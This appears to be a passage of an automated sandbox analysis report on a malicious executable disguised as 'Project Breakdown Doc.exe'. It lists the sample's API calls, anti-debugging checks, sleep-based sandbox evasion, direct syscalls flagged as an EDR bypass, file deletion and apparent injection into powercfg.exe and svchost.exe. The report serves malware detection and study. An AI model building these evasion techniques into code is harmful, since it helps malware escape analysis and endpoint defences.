Code function: 0_2_00C633C7 EncodePointer,__initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00C633C7

Source: C:\Users\user\Desktop\Project Breakdown Doc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Project Breakdown Doc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Source: C:\Users\user\Desktop\Project Breakdown Doc.exe	API/Special instruction interceptor: Address: 1783224
Source: C:\Windows\SysWOW64\powercfg.exe	API/Special instruction interceptor: Address: 7FFE2220D324
Source: C:\Windows\SysWOW64\powercfg.exe	API/Special instruction interceptor: Address: 7FFE2220D7E4
Source: C:\Windows\SysWOW64\powercfg.exe	API/Special instruction interceptor: Address: 7FFE2220D944
Source: C:\Windows\SysWOW64\powercfg.exe	API/Special instruction interceptor: Address: 7FFE2220D504
Source: C:\Windows\SysWOW64\powercfg.exe	API/Special instruction interceptor: Address: 7FFE2220D544
Source: C:\Windows\SysWOW64\powercfg.exe	API/Special instruction interceptor: Address: 7FFE2220D1E4
Source: C:\Windows\SysWOW64\powercfg.exe	API/Special instruction interceptor: Address: 7FFE22210154
Source: C:\Windows\SysWOW64\powercfg.exe	API/Special instruction interceptor: Address: 7FFE2220DA44

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 1_2_03B7096E rdtsc

1_2_03B7096E

Source: C:\Windows\SysWOW64\powercfg.exe	Window / User API: threadDelayed 1845			Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Window / User API: threadDelayed 8128			Jump to behavior

Source: C:\Users\user\Desktop\Project Breakdown Doc.exe	API coverage: 4.4 %
Source: C:\Windows\SysWOW64\svchost.exe	API coverage: 0.6 %

Source: C:\Windows\SysWOW64\powercfg.exe TID: 7836	Thread sleep count: 1845 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe TID: 7836	Thread sleep time: -3690000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe TID: 7836	Thread sleep count: 8128 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe TID: 7836	Thread sleep time: -16256000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\powercfg.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\powercfg.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\Project Breakdown Doc.exe	Code function: 0_2_00CA4696 GetFileAttributesW,FindFirstFileW,FindClose,	0_2_00CA4696
Source: C:\Users\user\Desktop\Project Breakdown Doc.exe	Code function: 0_2_00CAC9C7 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	0_2_00CAC9C7
Source: C:\Users\user\Desktop\Project Breakdown Doc.exe	Code function: 0_2_00CAC93C FindFirstFileW,FindClose,	0_2_00CAC93C
Source: C:\Users\user\Desktop\Project Breakdown Doc.exe	Code function: 0_2_00CAF200 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00CAF200
Source: C:\Users\user\Desktop\Project Breakdown Doc.exe	Code function: 0_2_00CAF35D SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00CAF35D
Source: C:\Users\user\Desktop\Project Breakdown Doc.exe	Code function: 0_2_00CAF65E FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	0_2_00CAF65E
Source: C:\Users\user\Desktop\Project Breakdown Doc.exe	Code function: 0_2_00CA3A2B FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_00CA3A2B
Source: C:\Users\user\Desktop\Project Breakdown Doc.exe	Code function: 0_2_00CA3D4E FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_00CA3D4E
Source: C:\Users\user\Desktop\Project Breakdown Doc.exe	Code function: 0_2_00CABF27 FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	0_2_00CABF27

Source: C:\Users\user\Desktop\Project Breakdown Doc.exe

Code function: 0_2_00C44AFE GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_00C44AFE

Source: powercfg.exe, 00000006.00000002.2935230373.0000000002F00000.00000004.00000020.00020000.00000000.sdmp, VFfhzkOtKq.exe, 00000007.00000002.2936350373.00000000009FF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: firefox.exe, 00000008.00000002.2572768872.0000023C214FC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllKK

Source: C:\Windows\SysWOW64\svchost.exe

Process information queried: ProcessInformation

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Windows\SysWOW64\svchost.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 1_2_03B7096E rdtsc

1_2_03B7096E

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 1_2_00417ED3 LdrLoadDll,

1_2_00417ED3

Source: C:\Users\user\Desktop\Project Breakdown Doc.exe

Code function: 0_2_00CB41FD BlockInput,

0_2_00CB41FD

Source: C:\Users\user\Desktop\Project Breakdown Doc.exe

Code function: 0_2_00C43B4C GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

0_2_00C43B4C

Source: C:\Users\user\Desktop\Project Breakdown Doc.exe

Code function: 0_2_00C75CCC EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

0_2_00C75CCC

Source: C:\Users\user\Desktop\Project Breakdown Doc.exe

Code function: 0_2_00CBC304 LoadLibraryA,GetProcAddress,

0_2_00CBC304

Source: C:\Users\user\Desktop\Project Breakdown Doc.exe	Code function: 0_2_017834F0 mov eax, dword ptr fs:[00000030h]	0_2_017834F0
Source: C:\Users\user\Desktop\Project Breakdown Doc.exe	Code function: 0_2_01783490 mov eax, dword ptr fs:[00000030h]	0_2_01783490
Source: C:\Users\user\Desktop\Project Breakdown Doc.exe	Code function: 0_2_01781E70 mov eax, dword ptr fs:[00000030h]	0_2_01781E70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B28397 mov eax, dword ptr fs:[00000030h]	1_2_03B28397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B28397 mov eax, dword ptr fs:[00000030h]	1_2_03B28397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B28397 mov eax, dword ptr fs:[00000030h]	1_2_03B28397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B2E388 mov eax, dword ptr fs:[00000030h]	1_2_03B2E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B2E388 mov eax, dword ptr fs:[00000030h]	1_2_03B2E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B2E388 mov eax, dword ptr fs:[00000030h]	1_2_03B2E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B5438F mov eax, dword ptr fs:[00000030h]	1_2_03B5438F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B5438F mov eax, dword ptr fs:[00000030h]	1_2_03B5438F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B4E3F0 mov eax, dword ptr fs:[00000030h]	1_2_03B4E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B4E3F0 mov eax, dword ptr fs:[00000030h]	1_2_03B4E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B4E3F0 mov eax, dword ptr fs:[00000030h]	1_2_03B4E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B663FF mov eax, dword ptr fs:[00000030h]	1_2_03B663FF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B403E9 mov eax, dword ptr fs:[00000030h]	1_2_03B403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B403E9 mov eax, dword ptr fs:[00000030h]	1_2_03B403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B403E9 mov eax, dword ptr fs:[00000030h]	1_2_03B403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B403E9 mov eax, dword ptr fs:[00000030h]	1_2_03B403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B403E9 mov eax, dword ptr fs:[00000030h]	1_2_03B403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B403E9 mov eax, dword ptr fs:[00000030h]	1_2_03B403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B403E9 mov eax, dword ptr fs:[00000030h]	1_2_03B403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B403E9 mov eax, dword ptr fs:[00000030h]	1_2_03B403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BDE3DB mov eax, dword ptr fs:[00000030h]	1_2_03BDE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BDE3DB mov eax, dword ptr fs:[00000030h]	1_2_03BDE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BDE3DB mov ecx, dword ptr fs:[00000030h]	1_2_03BDE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BDE3DB mov eax, dword ptr fs:[00000030h]	1_2_03BDE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BD43D4 mov eax, dword ptr fs:[00000030h]	1_2_03BD43D4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BD43D4 mov eax, dword ptr fs:[00000030h]	1_2_03BD43D4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BEC3CD mov eax, dword ptr fs:[00000030h]	1_2_03BEC3CD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B3A3C0 mov eax, dword ptr fs:[00000030h]	1_2_03B3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B3A3C0 mov eax, dword ptr fs:[00000030h]	1_2_03B3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B3A3C0 mov eax, dword ptr fs:[00000030h]	1_2_03B3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B3A3C0 mov eax, dword ptr fs:[00000030h]	1_2_03B3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B3A3C0 mov eax, dword ptr fs:[00000030h]	1_2_03B3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B3A3C0 mov eax, dword ptr fs:[00000030h]	1_2_03B3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B383C0 mov eax, dword ptr fs:[00000030h]	1_2_03B383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B383C0 mov eax, dword ptr fs:[00000030h]	1_2_03B383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B383C0 mov eax, dword ptr fs:[00000030h]	1_2_03B383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B383C0 mov eax, dword ptr fs:[00000030h]	1_2_03B383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BB63C0 mov eax, dword ptr fs:[00000030h]	1_2_03BB63C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C0634F mov eax, dword ptr fs:[00000030h]	1_2_03C0634F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B2C310 mov ecx, dword ptr fs:[00000030h]	1_2_03B2C310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B50310 mov ecx, dword ptr fs:[00000030h]	1_2_03B50310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B6A30B mov eax, dword ptr fs:[00000030h]	1_2_03B6A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B6A30B mov eax, dword ptr fs:[00000030h]	1_2_03B6A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B6A30B mov eax, dword ptr fs:[00000030h]	1_2_03B6A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BD437C mov eax, dword ptr fs:[00000030h]	1_2_03BD437C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C08324 mov eax, dword ptr fs:[00000030h]	1_2_03C08324
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C08324 mov ecx, dword ptr fs:[00000030h]	1_2_03C08324
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C08324 mov eax, dword ptr fs:[00000030h]	1_2_03C08324
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C08324 mov eax, dword ptr fs:[00000030h]	1_2_03C08324
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BB035C mov eax, dword ptr fs:[00000030h]	1_2_03BB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BB035C mov eax, dword ptr fs:[00000030h]	1_2_03BB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BB035C mov eax, dword ptr fs:[00000030h]	1_2_03BB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BB035C mov ecx, dword ptr fs:[00000030h]	1_2_03BB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BB035C mov eax, dword ptr fs:[00000030h]	1_2_03BB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BB035C mov eax, dword ptr fs:[00000030h]	1_2_03BB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BFA352 mov eax, dword ptr fs:[00000030h]	1_2_03BFA352
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BD8350 mov ecx, dword ptr fs:[00000030h]	1_2_03BD8350
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BB2349 mov eax, dword ptr fs:[00000030h]	1_2_03BB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BB2349 mov eax, dword ptr fs:[00000030h]	1_2_03BB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BB2349 mov eax, dword ptr fs:[00000030h]	1_2_03BB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BB2349 mov eax, dword ptr fs:[00000030h]	1_2_03BB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BB2349 mov eax, dword ptr fs:[00000030h]	1_2_03BB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BB2349 mov eax, dword ptr fs:[00000030h]	1_2_03BB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BB2349 mov eax, dword ptr fs:[00000030h]	1_2_03BB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BB2349 mov eax, dword ptr fs:[00000030h]	1_2_03BB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BB2349 mov eax, dword ptr fs:[00000030h]	1_2_03BB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BB2349 mov eax, dword ptr fs:[00000030h]	1_2_03BB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BB2349 mov eax, dword ptr fs:[00000030h]	1_2_03BB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BB2349 mov eax, dword ptr fs:[00000030h]	1_2_03BB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BB2349 mov eax, dword ptr fs:[00000030h]	1_2_03BB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BB2349 mov eax, dword ptr fs:[00000030h]	1_2_03BB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BB2349 mov eax, dword ptr fs:[00000030h]	1_2_03BB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B402A0 mov eax, dword ptr fs:[00000030h]	1_2_03B402A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B402A0 mov eax, dword ptr fs:[00000030h]	1_2_03B402A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C062D6 mov eax, dword ptr fs:[00000030h]	1_2_03C062D6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BC62A0 mov eax, dword ptr fs:[00000030h]	1_2_03BC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BC62A0 mov ecx, dword ptr fs:[00000030h]	1_2_03BC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BC62A0 mov eax, dword ptr fs:[00000030h]	1_2_03BC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BC62A0 mov eax, dword ptr fs:[00000030h]	1_2_03BC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BC62A0 mov eax, dword ptr fs:[00000030h]	1_2_03BC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BC62A0 mov eax, dword ptr fs:[00000030h]	1_2_03BC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B6E284 mov eax, dword ptr fs:[00000030h]	1_2_03B6E284
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B6E284 mov eax, dword ptr fs:[00000030h]	1_2_03B6E284
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BB0283 mov eax, dword ptr fs:[00000030h]	1_2_03BB0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BB0283 mov eax, dword ptr fs:[00000030h]	1_2_03BB0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BB0283 mov eax, dword ptr fs:[00000030h]	1_2_03BB0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B402E1 mov eax, dword ptr fs:[00000030h]	1_2_03B402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B402E1 mov eax, dword ptr fs:[00000030h]	1_2_03B402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B402E1 mov eax, dword ptr fs:[00000030h]	1_2_03B402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B3A2C3 mov eax, dword ptr fs:[00000030h]	1_2_03B3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B3A2C3 mov eax, dword ptr fs:[00000030h]	1_2_03B3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B3A2C3 mov eax, dword ptr fs:[00000030h]	1_2_03B3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B3A2C3 mov eax, dword ptr fs:[00000030h]	1_2_03B3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B3A2C3 mov eax, dword ptr fs:[00000030h]	1_2_03B3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B2823B mov eax, dword ptr fs:[00000030h]	1_2_03B2823B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C0625D mov eax, dword ptr fs:[00000030h]	1_2_03C0625D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BE0274 mov eax, dword ptr fs:[00000030h]	1_2_03BE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BE0274 mov eax, dword ptr fs:[00000030h]	1_2_03BE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BE0274 mov eax, dword ptr fs:[00000030h]	1_2_03BE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BE0274 mov eax, dword ptr fs:[00000030h]	1_2_03BE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BE0274 mov eax, dword ptr fs:[00000030h]	1_2_03BE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BE0274 mov eax, dword ptr fs:[00000030h]	1_2_03BE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BE0274 mov eax, dword ptr fs:[00000030h]	1_2_03BE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BE0274 mov eax, dword ptr fs:[00000030h]	1_2_03BE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BE0274 mov eax, dword ptr fs:[00000030h]	1_2_03BE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BE0274 mov eax, dword ptr fs:[00000030h]	1_2_03BE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BE0274 mov eax, dword ptr fs:[00000030h]	1_2_03BE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BE0274 mov eax, dword ptr fs:[00000030h]	1_2_03BE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B34260 mov eax, dword ptr fs:[00000030h]	1_2_03B34260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B34260 mov eax, dword ptr fs:[00000030h]	1_2_03B34260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B34260 mov eax, dword ptr fs:[00000030h]	1_2_03B34260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B2826B mov eax, dword ptr fs:[00000030h]	1_2_03B2826B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B2A250 mov eax, dword ptr fs:[00000030h]	1_2_03B2A250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B36259 mov eax, dword ptr fs:[00000030h]	1_2_03B36259
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BEA250 mov eax, dword ptr fs:[00000030h]	1_2_03BEA250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BEA250 mov eax, dword ptr fs:[00000030h]	1_2_03BEA250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BB8243 mov eax, dword ptr fs:[00000030h]	1_2_03BB8243
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BB8243 mov ecx, dword ptr fs:[00000030h]	1_2_03BB8243
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BB019F mov eax, dword ptr fs:[00000030h]	1_2_03BB019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BB019F mov eax, dword ptr fs:[00000030h]	1_2_03BB019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BB019F mov eax, dword ptr fs:[00000030h]	1_2_03BB019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BB019F mov eax, dword ptr fs:[00000030h]	1_2_03BB019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B2A197 mov eax, dword ptr fs:[00000030h]	1_2_03B2A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B2A197 mov eax, dword ptr fs:[00000030h]	1_2_03B2A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B2A197 mov eax, dword ptr fs:[00000030h]	1_2_03B2A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C061E5 mov eax, dword ptr fs:[00000030h]	1_2_03C061E5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B70185 mov eax, dword ptr fs:[00000030h]	1_2_03B70185
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BEC188 mov eax, dword ptr fs:[00000030h]	1_2_03BEC188
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BEC188 mov eax, dword ptr fs:[00000030h]	1_2_03BEC188
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BD4180 mov eax, dword ptr fs:[00000030h]	1_2_03BD4180
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BD4180 mov eax, dword ptr fs:[00000030h]	1_2_03BD4180
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B601F8 mov eax, dword ptr fs:[00000030h]	1_2_03B601F8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BAE1D0 mov eax, dword ptr fs:[00000030h]	1_2_03BAE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BAE1D0 mov eax, dword ptr fs:[00000030h]	1_2_03BAE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BAE1D0 mov ecx, dword ptr fs:[00000030h]	1_2_03BAE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BAE1D0 mov eax, dword ptr fs:[00000030h]	1_2_03BAE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BAE1D0 mov eax, dword ptr fs:[00000030h]	1_2_03BAE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BF61C3 mov eax, dword ptr fs:[00000030h]	1_2_03BF61C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BF61C3 mov eax, dword ptr fs:[00000030h]	1_2_03BF61C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B60124 mov eax, dword ptr fs:[00000030h]	1_2_03B60124
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C04164 mov eax, dword ptr fs:[00000030h]	1_2_03C04164
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C04164 mov eax, dword ptr fs:[00000030h]	1_2_03C04164
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BDA118 mov ecx, dword ptr fs:[00000030h]	1_2_03BDA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BDA118 mov eax, dword ptr fs:[00000030h]	1_2_03BDA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BDA118 mov eax, dword ptr fs:[00000030h]	1_2_03BDA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BDA118 mov eax, dword ptr fs:[00000030h]	1_2_03BDA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BF0115 mov eax, dword ptr fs:[00000030h]	1_2_03BF0115
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BDE10E mov eax, dword ptr fs:[00000030h]	1_2_03BDE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BDE10E mov ecx, dword ptr fs:[00000030h]	1_2_03BDE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BDE10E mov eax, dword ptr fs:[00000030h]	1_2_03BDE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BDE10E mov eax, dword ptr fs:[00000030h]	1_2_03BDE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BDE10E mov ecx, dword ptr fs:[00000030h]	1_2_03BDE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BDE10E mov eax, dword ptr fs:[00000030h]	1_2_03BDE10E
